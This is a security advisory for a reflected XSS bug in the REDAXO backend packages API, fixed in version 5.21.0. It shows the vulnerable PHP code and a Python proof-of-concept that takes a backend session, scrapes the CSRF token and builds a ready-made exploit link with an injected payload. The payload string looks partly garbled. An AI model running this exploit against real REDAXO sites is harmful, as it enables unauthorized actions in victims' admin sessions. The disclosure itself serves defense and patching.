GHSA-xq4j-g85q-wf97 REDAXO has reflected XSS backend packages API via function parameter (CSRF token required)

• Packagist redaxo/source: < 5.21.0 → fixed in 5.21.0

Summary A reflected XSS vulnerability has been identified in the REDAXO backend. The `function` parameter is concatenated into an API error message and rendered without HTML escaping. --- Details Root cause User input `function` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping. Vulnerable code (`redaxo/src/core/lib/packages/api_package.php`) : ```php $function = rex_request('function', 'string'); throw new rex_api_exception('Unknown package function "' . $function . '"!'); ``` Sink (`redaxo/src/core/lib/view.php`) : ```php return '' . $message . ''; ``` Source -> sink flow • Source: `function` (GET) • Propagation: concatenated into the exception message • Sink: rendered via `rex_view::error()` -> `rex_view::message()` without escaping Authentication required: yes (backend session) --- PoC - Exploit ```python !/usr/bin/env python3 import re import urllib.parse import requests TARGET_URL = "http://poc.local/" BACKEND_PATH = "redaxo/index.php" A valid backend PHP session id (must belong to a user who can access the Packages page) SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx https://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598 " VERIFY_SSL = False TIMEOUT = 15 PAYLOAD = '\\">' def build_backend_url() -> str: base = TARGET_URL.rstrip('/') return f"{base}/{BACKEND_PATH.lstrip('/')}" def extract_api_csrf(html_text: str) -> str: m = re.search(r'rex-api-call=package[^\"]+_csrf_token=([^&\"\s]+)', html_text) if not m: raise RuntimeError("CSRF token for rex_api_call=package was not found in the page HTML.") return m.group(1) def set_session_cookie(session: requests.Session) -> None: parsed = urllib.parse.urlparse(TARGET_URL) if parsed.hostname: session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/") def main() -> None: backend_url = build_backend_url() s = requests.Session() set_session_cookie(s) # Backend session required (role with access to packages) r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL) if "rex-page-login" in r0.text or "rex_user_login" in r0.text: print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.") return r = s.get(backend_url, params={"page": "packages"}, timeout=TIMEOUT, verify=VERIFY_SSL) if r.status_code != 200: print(f"[!] Failed to access packages page (HTTP {r.status_code}).") return api_token = extract_api_csrf(r.text) params = { "page": "packages", "rex-api-call": "package", "function": PAYLOAD, "package": "nonexistent", "_csrf_token": api_token, } exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}" print(exploit_url) if __name__ == "__main__": main() ``` To run the PoC you must set a valid admin account PHPSSID. The PoC will then automatically retrieve the CSRF token and generate a ready-to-use exploitation link. --- Impact • Confidentiality: Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session. • Integrity: Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call. • Availability: Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios. Demo https://github.com/user-attachments/assets/41d0186a-7ca0-4482-86c5-8bea6c8f6ac6